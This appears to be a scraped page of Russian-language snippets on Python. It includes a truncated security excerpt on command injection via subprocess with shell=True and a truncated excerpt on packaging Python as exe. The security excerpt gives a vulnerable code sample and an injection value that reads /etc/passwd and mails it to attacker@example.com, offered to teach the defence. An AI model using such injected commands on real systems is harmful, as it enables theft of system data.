Хирьянов Т.Ф. - Основы программирования и анализа данных на Python - 11. ООП
Уязвимости и безопасность в Python: разбор критических ошибок и стратегии защиты
Использование subprocess.call, os.system или popen с невалидируемым пользовательским вводом — частая ошибка. Пример: python Copy Download import subprocess
def transcode_file(filename):
command = f'ffmpeg -i "{filename}" output.mpg' # Уязвимость!
subprocess.call(command, shell=True) # Параметр shell=True опасен Угроза: Злоумышленник может передать filename вида "; cat /etc/passwd | mail attacker@example.com, выполнив произвольные команды. Решение: python Copy Download subprocess.call(['ffmpeg', '-i', shlex...
Python компиляция в exe
Компиляция Python-кода в исполняемый файл. exe на самом деле не является "компиляцией" в традиционном смысле (как в C++ или Java, где создается независимый нативный бинарник). Вместо этого это процесс Упаковки (packaging) вашего Python-кода и всех его зависимостей (интерпретатор Python, используемые библиотеки, скрипты) в один или несколько автономных файлов, которые могут быть запущены на Windows-системе, не требуя установленного Python. Наиболее популярные инструменты для этого: PyInstaller (самый популярный и рекомендуемый) Cx_Freeze Nuitka (действительно компилирует Python в C-код, а затем...